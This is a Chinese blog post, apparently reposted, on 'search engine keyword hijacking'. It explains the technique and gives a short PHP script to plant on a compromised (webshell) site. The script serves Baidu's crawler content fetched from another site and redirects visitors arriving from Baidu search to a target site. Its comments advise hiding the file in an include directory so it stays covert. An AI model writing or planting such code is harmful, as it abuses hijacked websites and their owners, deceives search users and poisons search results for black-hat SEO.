搜索引擎关键词劫持之php篇(源码与分析)

摘要:其实原理很简单: 搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出如下判断: if(来访者是蜘蛛){ 输出指定内容 } if(用户是从搜索引擎点击进入网站的){ 跳转我们希...

其实原理很简单:
搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出如下判断:

if(来访者是蜘蛛){
输出指定内容
}
if(用户是从搜索引擎点击进入网站的){
跳转我们希望跳转的站点B
}

所以我们可以达到如下效果:
针对蜘蛛来说,如果来访者是指定的蜘蛛,那么输出希望让蜘蛛看到的内容,如果来访者不是蜘蛛,则输出希望给正常用户看到的内容。正常用户在浏览器地址栏输入网址访问网站A,看到正常的首页,如果用户点击百度的搜索结果中的链接进入网站A,则跳转我们要做SEO的站点B。
表达能力有限,说了这么多也不知道大家明白没有。。。
那好吧,下面我来上代码,大家可能一看就懂了。代码很短,也很容易理解。

<?php 
################################################ 
# 可以把本文件放在类似inc、include这样的目录中 # 
# 首页require_once('本文件路径');就可以了 # 
# 这样会比较隐蔽 # 
################################################ 
if(strpos(strtolower($_SERVER['HTTP_USER_AGENT']),'baiduspider') !== false ) { 
//判断搜索引擎,这里是百度,可以自行添加蜘蛛 
/* 
Header("HTTP/1.1 301 Moved Permanently"); 
Header("Location: http://www.yunsec.net/"); 
//这是301跳转,301主要针对搜索引擎,如果你想告诉搜索引擎这个页面已经更换URL了的话... 
*/ 
$file = file_get_contents('http://www.yunsec.net/forum.php'); 
echo $file;//输出指定文件内容 
exit; 
} 
//判断来路 
if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")) {//如果用户来自baidu.com 
//Header("HTTP/1.1 301 Moved Permanently");//301跳转,也可以不用301,直接跳转,301状态码主要针对搜索引擎使用 
Header("Location: http://www.yunsec.net/");//跳转 
exit; 
} 
?> 
原文地址:https://www.cnblogs.com/xcsn/p/4678453.html